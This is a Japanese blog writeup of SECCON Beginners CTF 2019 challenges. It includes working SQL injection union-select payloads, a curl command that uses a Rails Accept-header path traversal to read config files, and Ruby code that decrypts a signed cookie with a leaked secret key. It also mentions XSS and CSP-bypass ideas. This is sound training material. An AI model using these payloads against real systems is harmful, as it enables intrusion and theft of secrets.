眠気

戯言とメモ

SECCON Beginners CTF 2019 writeup

参加してました。

containers

foremostして出てきたpngの文字列を合わせるだけだった

f:id:lailaiskyn:20190527183053p:plain

最初と最後の文字列は切れてたけどどうせcと}だろうと思ってそのまま投げたら通ったので良かった

[warmup] Ramen

SQL injection。

union selectでinformation_schemaからtableとかcolumnとか探してたけどguessしていきなりflagでやっても良かった気がする

' or 1 union select 1,1 ; -- => 列の数を確かめる

' or 1 union select table_name, column_name from information_schema.columns ; -- => テーブル・カラム名を出す

' or 1 union select flag,1 from flag ; -- => flag出す

ctf4b{a_simple_sql_injection_with_union_select}

katsudon

流行りのRails脆弱性かと思ってmessage_verifierで署名されたやつの複合の仕方とか調べたり色々やってたけど、Base64をデコードするだけであっさり出てしまって拍子抜けしてしまった。

ctf4b{K33P_Y0UR_53CR37_K3Y_B453}

katsudon-okawari

流行りのRails脆弱性だった

okawariする前にやってた方法ですぐ解けて、しかもヒントが簡単になってたので良かった。

Acceptヘッダーに

curl http://katsudon.quals.beginners.seccon.jp/flag -H 'Accept: ../../config/database.yml{{'

みたいにpath指定したらファイルを見放題なので、config/secret.ymlのsecret_key_baseを取って、

    secret_key_base = "4e78e9e627139829910a03eedc8b24555fabef034a8f1db7443f69c4d4a1dbee7673687a2bf62d7891aa38d39741395b855ced25200f046c280bb039ce53de34"
    serial_code = "bQIDwzfjtZdvWLH+HD5jhhZW4917cFKbx7LDRPzsL3JXqQ8VJp5RYfKIw5xqe/xhLg==--cUS9fQetfBC8wsV7--E8vQbRF4vHovYlPFvH3UnQ=="
    msg_encryptor = ::ActiveSupport::MessageEncryptor.new(secret_key_base[0..31], cipher: "aes-256-gcm")
    p msg_encryptor.decrypt_and_verify(serial_code)

みたいな感じでdecryptできた

以下解けなかったやつ

  • Himitsu

クローラのcookieを取れば良いこと、日付と時間(分)からハッシュが作られること、articleのtitleでfilterをバイパスしてxssが出来そうなことが分かってたのに解けなかった。悲しい。

  • Secure Meyasubako

CSPのバイパスをすれば良いこと、CDNの古いAngularを使ったり、googlejsonpでバイパス出来たりすることまで分かってたのに解けなかった。悲しい。

終わり 🙏